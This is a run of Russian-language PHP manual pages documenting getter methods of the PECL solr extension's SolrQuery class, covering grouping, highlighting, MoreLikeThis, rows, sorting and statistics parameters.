SolrQuery::getGroup — Возвращает true, если группировка включена

Описание

public SolrQuery::getGroup(): bool

Возвращает true, если группировка включена

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает процентное значение группового кеша

  • « SolrQuery::getGroup
  • SolrQuery::getGroupFacet »
  • PHP Manual
  • SolrQuery
  • Возвращает процентное значение группового кеша

SolrQuery::getGroupCachePercent

(PECL solr >= 2.2.0)

SolrQuery::getGroupCachePercent — Возвращает процентное значение группового кеша

Описание

public SolrQuery::getGroupCachePercent(): int

Возвращает процентное значение группового кеша

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupCachePercent() - Включает кеширование для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение параметра group.facet

  • « SolrQuery::getGroupCachePercent
  • SolrQuery::getGroupFields »
  • PHP Manual
  • SolrQuery
  • Возвращает значение параметра group.facet

SolrQuery::getGroupFacet

(PECL solr >= 2.2.0)

SolrQuery::getGroupFacet — Возвращает значение параметра group.facet

Описание

public SolrQuery::getGroupFacet(): bool

Возвращает значение параметра group.facet

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet

User Contributed Notes

There are no user contributed notes for this page.


Возвращает групповые поля (значения параметра group.field)

  • « SolrQuery::getGroupFacet
  • SolrQuery::getGroupFormat »
  • PHP Manual
  • SolrQuery
  • Возвращает групповые поля (значения параметра group.field)

SolrQuery::getGroupFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupFields — Возвращает групповые поля (значения параметра group.field)

Описание

public SolrQuery::getGroupFields(): array

Возвращает групповые поля (значения параметра group.field)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::addGroupField() - Добавляет поле, которое будет использоваться для группировки результатов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.format

  • « SolrQuery::getGroupFields
  • SolrQuery::getGroupFunctions »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.format

SolrQuery::getGroupFormat

(PECL solr >= 2.2.0)

SolrQuery::getGroupFormat — Возвращает значение group.format

Описание

public SolrQuery::getGroupFormat(): string

Возвращает значение group.format

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupFormat() - Устанавливает формат группы, структуру результата (параметр group.format)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает групповые функции (значения параметров group.func)

  • « SolrQuery::getGroupFormat
  • SolrQuery::getGroupLimit »
  • PHP Manual
  • SolrQuery
  • Возвращает групповые функции (значения параметров group.func)

SolrQuery::getGroupFunctions

(PECL solr >= 2.2.0)

SolrQuery::getGroupFunctions — Возвращает групповые функции (значения параметров group.func)

Описание

public SolrQuery::getGroupFunctions(): array

Возвращает групповые функции (значения параметров group.func)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.limit

  • « SolrQuery::getGroupFunctions
  • SolrQuery::getGroupMain »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.limit

SolrQuery::getGroupLimit

(PECL solr >= 2.2.0)

SolrQuery::getGroupLimit — Возвращает значение group.limit

Описание

public SolrQuery::getGroupLimit(): int

Возвращает значение group.limit.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.main

  • « SolrQuery::getGroupLimit
  • SolrQuery::getGroupNGroups »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.main

SolrQuery::getGroupMain

(PECL solr >= 2.2.0)

SolrQuery::getGroupMain — Возвращает значение group.main

Описание

public SolrQuery::getGroupMain(): bool

Возвращает значение group.main

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.ngroups

  • « SolrQuery::getGroupMain
  • SolrQuery::getGroupOffset »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.ngroups

SolrQuery::getGroupNGroups

(PECL solr >= 2.2.0)

SolrQuery::getGroupNGroups — Возвращает значение group.ngroups

Описание

public SolrQuery::getGroupNGroups(): bool

Возвращает значение group.ngroups

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupNGroups() - Если true, Solr включает в результаты количество групп, которые соответствуют запросу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.offset

  • « SolrQuery::getGroupNGroups
  • SolrQuery::getGroupQueries »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.offset

SolrQuery::getGroupOffset

(PECL solr >= 2.2.0)

SolrQuery::getGroupOffset — Возвращает значение group.offset

Описание

public SolrQuery::getGroupOffset(): int

Возвращает значение group.offset.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все значения параметра group.query

  • « SolrQuery::getGroupOffset
  • SolrQuery::getGroupSortFields »
  • PHP Manual
  • SolrQuery
  • Возвращает все значения параметра group.query

SolrQuery::getGroupQueries

(PECL solr >= 2.2.0)

SolrQuery::getGroupQueries — Возвращает все значения параметра group.query

Описание

public SolrQuery::getGroupQueries(): array

Возвращает все значения параметра group.query

Список параметров

У этой функции нет параметров.

Возвращаемые значения

array

Смотрите также

  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.sort

  • « SolrQuery::getGroupQueries
  • SolrQuery::getGroupTruncate »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.sort

SolrQuery::getGroupSortFields

(PECL solr >= 2.2.0)

SolrQuery::getGroupSortFields — Возвращает значение group.sort

Описание

public SolrQuery::getGroupSortFields(): array

Возвращает значение group.sort

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение group.truncate

  • « SolrQuery::getGroupSortFields
  • SolrQuery::getHighlight »
  • PHP Manual
  • SolrQuery
  • Возвращает значение group.truncate

SolrQuery::getGroupTruncate

(PECL solr >= 2.2.0)

SolrQuery::getGroupTruncate — Возвращает значение group.truncate

Описание

public SolrQuery::getGroupTruncate(): bool

Возвращает значение group.truncate

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • SolrQuery::setGroupTruncate() - Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает состояние параметра hl

  • « SolrQuery::getGroupTruncate
  • SolrQuery::getHighlightAlternateField »
  • PHP Manual
  • SolrQuery
  • Возвращает состояние параметра hl

SolrQuery::getHighlight

(PECL solr >= 0.9.2)

SolrQuery::getHighlight — Возвращает состояние параметра hl

Описание

public SolrQuery::getHighlight(): bool

Возвращает логическое значение, указывающее, следует ли включать выделенные фрагменты в ответе на запрос.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию

  • « SolrQuery::getHighlight
  • SolrQuery::getHighlightFields »
  • PHP Manual
  • SolrQuery
  • Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию

SolrQuery::getHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::getHighlightAlternateField — Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию

Описание

public SolrQuery::getHighlightAlternateField(string $field_override = ?): string

Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты

  • « SolrQuery::getHighlightAlternateField
  • SolrQuery::getHighlightFormatter »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты

SolrQuery::getHighlightFields

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFields — Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты

Описание

public SolrQuery::getHighlightFields(): array

Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает средство форматирования для выделенного вывода

  • « SolrQuery::getHighlightFields
  • SolrQuery::getHighlightFragmenter »
  • PHP Manual
  • SolrQuery
  • Возвращает средство форматирования для выделенного вывода

SolrQuery::getHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFormatter — Возвращает средство форматирования для выделенного вывода

Описание

public SolrQuery::getHighlightFormatter(string $field_override = ?): string

Возвращает средство форматирования для выделенного вывода

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает генератор фрагментов текста для выделенного текста

  • « SolrQuery::getHighlightFormatter
  • SolrQuery::getHighlightFragsize »
  • PHP Manual
  • SolrQuery
  • Возвращает генератор фрагментов текста для выделенного текста

SolrQuery::getHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragmenter — Возвращает генератор фрагментов текста для выделенного текста

Описание

public SolrQuery::getHighlightFragmenter(string $field_override = ?): string

Возвращает генератор фрагментов текста для выделенного текста. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество символов фрагментов для выделения

  • « SolrQuery::getHighlightFragmenter
  • SolrQuery::getHighlightHighlightMultiTerm »
  • PHP Manual
  • SolrQuery
  • Возвращает количество символов фрагментов для выделения

SolrQuery::getHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::getHighlightFragsize — Возвращает количество символов фрагментов для выделения

Описание

public SolrQuery::getHighlightFragsize(string $field_override = ?): int

Возвращает количество символов фрагментов для выделения. Ноль подразумевает отсутствие фрагментации. Следует использовать все поле.

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов

  • « SolrQuery::getHighlightFragsize
  • SolrQuery::getHighlightMaxAlternateFieldLength »
  • PHP Manual
  • SolrQuery
  • Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов

SolrQuery::getHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::getHighlightHighlightMultiTerm — Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов

Описание

public SolrQuery::getHighlightHighlightMultiTerm(): bool

Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество символов поля для возврата

  • « SolrQuery::getHighlightHighlightMultiTerm
  • SolrQuery::getHighlightMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество символов поля для возврата

SolrQuery::getHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAlternateFieldLength — Возвращает максимальное количество символов поля для возврата

Описание

public SolrQuery::getHighlightMaxAlternateFieldLength(string $field_override = ?): int

Возвращает максимальное количество символов поля для возврата

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество символов в документе для поиска подходящих фрагментов

  • « SolrQuery::getHighlightMaxAlternateFieldLength
  • SolrQuery::getHighlightMergeContiguous »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество символов в документе для поиска подходящих фрагментов

SolrQuery::getHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMaxAnalyzedChars — Возвращает максимальное количество символов в документе для поиска подходящих фрагментов

Описание

public SolrQuery::getHighlightMaxAnalyzedChars(): int

Возвращает максимальное количество символов в документе для поиска подходящих фрагментов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, свернуть ли смежные фрагменты в один фрагмент

  • « SolrQuery::getHighlightMaxAnalyzedChars
  • SolrQuery::getHighlightRegexMaxAnalyzedChars »
  • PHP Manual
  • SolrQuery
  • Возвращает, свернуть ли смежные фрагменты в один фрагмент

SolrQuery::getHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::getHighlightMergeContiguous — Возвращает, свернуть ли смежные фрагменты в один фрагмент

Описание

public SolrQuery::getHighlightMergeContiguous(string $field_override = ?): bool

Возвращает, свернуть ли смежные фрагменты в один фрагмент. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает логическое значение в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения

  • « SolrQuery::getHighlightMergeContiguous
  • SolrQuery::getHighlightRegexPattern »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения

SolrQuery::getHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexMaxAnalyzedChars — Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения

Описание

public SolrQuery::getHighlightRegexMaxAnalyzedChars(): int

Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает регулярное выражение для фрагментации

  • « SolrQuery::getHighlightRegexMaxAnalyzedChars
  • SolrQuery::getHighlightRegexSlop »
  • PHP Manual
  • SolrQuery
  • Возвращает регулярное выражение для фрагментации

SolrQuery::getHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexPattern — Возвращает регулярное выражение для фрагментации

Описание

public SolrQuery::getHighlightRegexPattern(): string

Возвращает регулярное выражение для фрагментации

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коэффициент отклонения от идеального размера фрагмента

  • « SolrQuery::getHighlightRegexPattern
  • SolrQuery::getHighlightRequireFieldMatch »
  • PHP Manual
  • SolrQuery
  • Возвращает коэффициент отклонения от идеального размера фрагмента

SolrQuery::getHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRegexSlop — Возвращает коэффициент отклонения от идеального размера фрагмента

Описание

public SolrQuery::getHighlightRegexSlop(): float

Возвращает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента для соответствия регулярному выражению.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число с плавающей точкой (float) в случае успешного выполнения и null, если значение не задано.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю

  • « SolrQuery::getHighlightRegexSlop
  • SolrQuery::getHighlightSimplePost »
  • PHP Manual
  • SolrQuery
  • Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю

SolrQuery::getHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::getHighlightRequireFieldMatch — Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю

Описание

public SolrQuery::getHighlightRequireFieldMatch(): bool

Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст, который появляется после выделенного выражения

  • « SolrQuery::getHighlightRequireFieldMatch
  • SolrQuery::getHighlightSimplePre »
  • PHP Manual
  • SolrQuery
  • Возвращает текст, который появляется после выделенного выражения

SolrQuery::getHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePost — Возвращает текст, который появляется после выделенного выражения

Описание

public SolrQuery::getHighlightSimplePost(string $field_override = ?): string

Возвращает текст, который появляется после выделенного выражения. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст, который появляется перед выделенным выражением

  • « SolrQuery::getHighlightSimplePost
  • SolrQuery::getHighlightSnippets »
  • PHP Manual
  • SolrQuery
  • Возвращает текст, который появляется перед выделенным выражением

SolrQuery::getHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSimplePre — Возвращает текст, который появляется перед выделенным выражением

Описание

public SolrQuery::getHighlightSimplePre(string $field_override = ?): string

Возвращает текст, который появляется перед выделенным выражением. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает строку в случае успешного выполнения и null, если значение не задано

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество выделенных фрагментов для создания для каждого поля

  • « SolrQuery::getHighlightSimplePre
  • SolrQuery::getHighlightUsePhraseHighlighter »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество выделенных фрагментов для создания для каждого поля

SolrQuery::getHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::getHighlightSnippets — Возвращает максимальное количество выделенных фрагментов для создания для каждого поля

Описание

public SolrQuery::getHighlightSnippets(string $field_override = ?): int

Возвращает максимальное количество выделенных фрагментов для создания для каждого поля. Принимает необязательное переопределение поля

Список параметров

field_override

Имя поля

Возвращаемые значения

Возвращает целое число в случае успешного выполнения и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает состояние параметра hl.usePhraseHighlighter

  • « SolrQuery::getHighlightSnippets
  • SolrQuery::getMlt »
  • PHP Manual
  • SolrQuery
  • Возвращает состояние параметра hl.usePhraseHighlighter

SolrQuery::getHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::getHighlightUsePhraseHighlighter — Возвращает состояние параметра hl.usePhraseHighlighter

Описание

public SolrQuery::getHighlightUsePhraseHighlighter(): bool

Возвращает, следует ли использовать SpanScorer для выделения фразовых выражений, только когда они появляются во фразе запроса в документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, должны ли быть включены результаты MoreLikeThis

  • « SolrQuery::getHighlightUsePhraseHighlighter
  • SolrQuery::getMltBoost »
  • PHP Manual
  • SolrQuery
  • Возвращает, должны ли быть включены результаты MoreLikeThis

SolrQuery::getMlt

(PECL solr >= 0.9.2)

SolrQuery::getMlt — Возвращает, должны ли быть включены результаты MoreLikeThis

Описание

public SolrQuery::getMlt(): bool

Возвращает, должны ли быть включены результаты MoreLikeThis

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, будет ли запрос усилен релевантностью интересующего выражения

  • « SolrQuery::getMlt
  • SolrQuery::getMltCount »
  • PHP Manual
  • SolrQuery
  • Возвращает, будет ли запрос усилен релевантностью интересующего выражения

SolrQuery::getMltBoost

(PECL solr >= 0.9.2)

SolrQuery::getMltBoost — Возвращает, будет ли запрос усилен релевантностью интересующего выражения

Описание

public SolrQuery::getMltBoost(): bool

Возвращает, будет ли запрос усилен релевантностью интересующего выражения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество похожих документов, возвращаемых для каждого результата

  • « SolrQuery::getMltBoost
  • SolrQuery::getMltFields »
  • PHP Manual
  • SolrQuery
  • Возвращает количество похожих документов, возвращаемых для каждого результата

SolrQuery::getMltCount

(PECL solr >= 0.9.2)

SolrQuery::getMltCount — Возвращает количество похожих документов, возвращаемых для каждого результата

Описание

public SolrQuery::getMltCount(): int

Возвращает количество похожих документов, возвращаемых для каждого результата.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля, которые нужно использовать для сравнения

  • « SolrQuery::getMltCount
  • SolrQuery::getMltMaxNumQueryTerms »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля, которые нужно использовать для сравнения

SolrQuery::getMltFields

(PECL solr >= 0.9.2)

SolrQuery::getMltFields — Возвращает все поля, которые нужно использовать для сравнения

Описание

public SolrQuery::getMltFields(): array

Возвращает все поля, которые нужно использовать для сравнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос

  • « SolrQuery::getMltFields
  • SolrQuery::getMltMaxNumTokens »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос

SolrQuery::getMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumQueryTerms — Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос

Описание

public SolrQuery::getMltMaxNumQueryTerms(): int

Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector

  • « SolrQuery::getMltMaxNumQueryTerms
  • SolrQuery::getMltMaxWordLength »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector

SolrQuery::getMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxNumTokens — Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector

Описание

public SolrQuery::getMltMaxNumTokens(): int

Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальную длину слова, выше которой слова будут игнорироваться

  • « SolrQuery::getMltMaxNumTokens
  • SolrQuery::getMltMinDocFrequency »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальную длину слова, выше которой слова будут игнорироваться

SolrQuery::getMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMaxWordLength — Возвращает максимальную длину слова, выше которой слова будут игнорироваться

Описание

public SolrQuery::getMltMaxWordLength(): int

Возвращает максимальную длину слова, выше которой слова будут игнорироваться.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов

  • « SolrQuery::getMltMaxWordLength
  • SolrQuery::getMltMinTermFrequency »
  • PHP Manual
  • SolrQuery
  • Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов

SolrQuery::getMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinDocFrequency — Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов

Описание

public SolrQuery::getMltMinDocFrequency(): int

Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе

  • « SolrQuery::getMltMinDocFrequency
  • SolrQuery::getMltMinWordLength »
  • PHP Manual
  • SolrQuery
  • Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе

SolrQuery::getMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::getMltMinTermFrequency — Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе

Описание

public SolrQuery::getMltMinTermFrequency(): int

Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает минимальную длину слова, ниже которой слова будут игнорироваться

  • « SolrQuery::getMltMinTermFrequency
  • SolrQuery::getMltQueryFields »
  • PHP Manual
  • SolrQuery
  • Возвращает минимальную длину слова, ниже которой слова будут игнорироваться

SolrQuery::getMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::getMltMinWordLength — Возвращает минимальную длину слова, ниже которой слова будут игнорироваться

Описание

public SolrQuery::getMltMinWordLength(): int

Возвращает минимальную длину слова, ниже которой слова будут игнорироваться.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поля запроса и их повышения

  • « SolrQuery::getMltMinWordLength
  • SolrQuery::getQuery »
  • PHP Manual
  • SolrQuery
  • Возвращает поля запроса и их повышения

SolrQuery::getMltQueryFields

(PECL solr >= 0.9.2)

SolrQuery::getMltQueryFields — Возвращает поля запроса и их повышения

Описание

public SolrQuery::getMltQueryFields(): array

Возвращает поля запроса и их повышения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает основной запрос

  • « SolrQuery::getMltQueryFields
  • SolrQuery::getRows »
  • PHP Manual
  • SolrQuery
  • Возвращает основной запрос

SolrQuery::getQuery

(PECL solr >= 0.9.2)

SolrQuery::getQuery — Возвращает основной запрос

Описание

public SolrQuery::getQuery(): string

Возвращает основной запрос

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает строку и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает максимальное количество документов

  • « SolrQuery::getQuery
  • SolrQuery::getSortFields »
  • PHP Manual
  • SolrQuery
  • Возвращает максимальное количество документов

SolrQuery::getRows

(PECL solr >= 0.9.2)

SolrQuery::getRows — Возвращает максимальное количество документов

Описание

public SolrQuery::getRows(): int

Возвращает максимальное количество документов из полного набора результатов, возвращаемых клиенту для каждого запроса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все поля сортировки

  • « SolrQuery::getRows
  • SolrQuery::getStart »
  • PHP Manual
  • SolrQuery
  • Возвращает все поля сортировки

SolrQuery::getSortFields

(PECL solr >= 0.9.2)

SolrQuery::getSortFields — Возвращает все поля сортировки

Описание

public SolrQuery::getSortFields(): array

Возвращает все поля сортировки

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает массив и null, если ни один из параметров не был установлен.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает смещение в полном наборе результатов

  • « SolrQuery::getSortFields
  • SolrQuery::getStats »
  • PHP Manual
  • SolrQuery
  • Возвращает смещение в полном наборе результатов

SolrQuery::getStart

(PECL solr >= 0.9.2)

SolrQuery::getStart — Возвращает смещение в полном наборе результатов

Описание

public SolrQuery::getStart(): int

Возвращает смещение в полном наборе результатов для запросов, с которых должен начинаться набор возвращённых документов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает целое число и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает, включена ли статистика

  • « SolrQuery::getStart
  • SolrQuery::getStatsFacets »
  • PHP Manual
  • SolrQuery
  • Возвращает, включена ли статистика

SolrQuery::getStats

(PECL solr >= 0.9.2)

SolrQuery::getStats — Возвращает, включена ли статистика

Описание

public SolrQuery::getStats(): bool

Возвращает, включена ли статистика.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает логическое значение и null, если значение не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает все фасеты статистики, которые были установлены

  • « SolrQuery::getStats
  • SolrQuery::getStatsFields »
  • PHP Manual
  • SolrQuery
  • Возвращает все фасеты статистики, которые были установлены

SolrQuery::getStatsFacets

(PECL solr >= 0.9.2)

